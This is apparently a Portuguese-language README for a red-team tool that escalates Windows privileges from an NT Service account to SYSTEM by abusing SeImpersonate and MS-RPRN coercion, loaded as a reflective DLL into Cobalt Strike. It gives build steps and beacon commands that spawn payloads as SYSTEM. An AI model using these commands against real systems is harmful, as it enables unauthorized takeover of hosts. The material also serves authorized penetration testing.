Coerced Potato Reflective DLL

Escalação de privilégios de NT Service para SYSTEM usando o privilégio SeImpersonateToken e funções MS-RPRN.

Fortemente baseado em https://github.com/Prepouce/CoercedPotato

Carregador reflexivo de https://github.com/stephenfewer/ReflectiveDLLInjection.

Instalação

Clone este repositório e compile o projeto no VisualStudio, depois carregue dist/coercedpotato.cna no CobaltStrike.

Uso

Primeiro você precisa iniciar o listener RPC com

beacon> CoercedPotato spawn ProcessToSpawn OptionalCmdArgument

por exemplo

beacon> CoercedPotato spawn C:\Windows\Temp\beacon.exe
beacon> CoercedPotato spawn C:\Windows\Temp\loader.exe C:\Windows\Temp\beacon.bin

então você pode acionar uma chamada SYSTEM

beacon> CoercedPotato coerce